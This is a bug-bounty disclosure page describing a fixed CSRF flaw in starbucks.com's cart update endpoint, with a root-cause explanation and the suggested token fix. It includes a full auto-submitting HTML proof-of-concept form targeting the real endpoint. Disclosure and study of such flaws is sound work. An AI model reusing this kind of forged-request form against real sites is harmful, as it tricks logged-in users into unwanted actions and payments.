CSRF: add item to victim's cart automatically (starbucks.com - updatecart)
The cart update endpoint on starbucks.com accepted a cross-site POST without any anti-CSRF protection, so a page hosted elsewhere could add an item to a logged-in user's cart. An attacker could make a victim unknowingly add and potentially pay for an item they did not choose.
Originally disclosed on HackerOne
- Triaged in 3 days
- Fixed in 7 months
- Paid in 25 days
- Disclosed after 7 months
Steps: 1. Victim login their starbucks account first. 2. Attacker send a form/link to victim. 3. If victim click the form/link, An item would automatically add to victim's cart. 4. If victim do not find this item, he/she would pay for this item which can greatly influence your repuation.
Attached is the form.
<html> <body> <form action="https://www.starbucks.com/shop/updatecart" method="POST"> <input type="hidden" name="card_custom_image_id" value="" /> <input type="hidden" name="card_custom_theme" value="" /> <input type="hidden" name="card_id" value="db126c2c-277c-4208-9ade-e3014ba16722" /> <input type="hidden" name="card_quantity" value="1" /> <input type="hidden" name="defined_amount" value="25" /> <input type="hidden" name="defined_currency" value="USD" /> <input type="hidden" name="greeting_card" value="8779a801-11e4-463e-bcbd-8e8f7b4608ac" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>Solution: Add a CSRF-token to the post form.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the cart update endpoint relied only on the session cookie and had no CSRF token or origin check to confirm the request came from the site itself.
Impact
An attacker could add unwanted items to a logged-in victim's cart, which the victim might then pay for without noticing.
What the attacker needed
Victim has an account; victim is logged in; victim clicks attacker's link
How it was found
- The victim logs in to their Starbucks account.
- The attacker sends the victim a form or link.
- The victim clicks it and an item is added to their cart automatically.
- If the victim does not notice the item, they may pay for it.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you are logged in to a site, your browser sends your session cookie with every request to that site, even requests triggered by another website you visit. This report shows that the shop's cart update page did not check whether the request really came from the shop itself, so a malicious page could quietly submit a form that adds an item to your cart. The suggested fix is a secret token that only the real shop page knows, which the attacker's page cannot guess.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.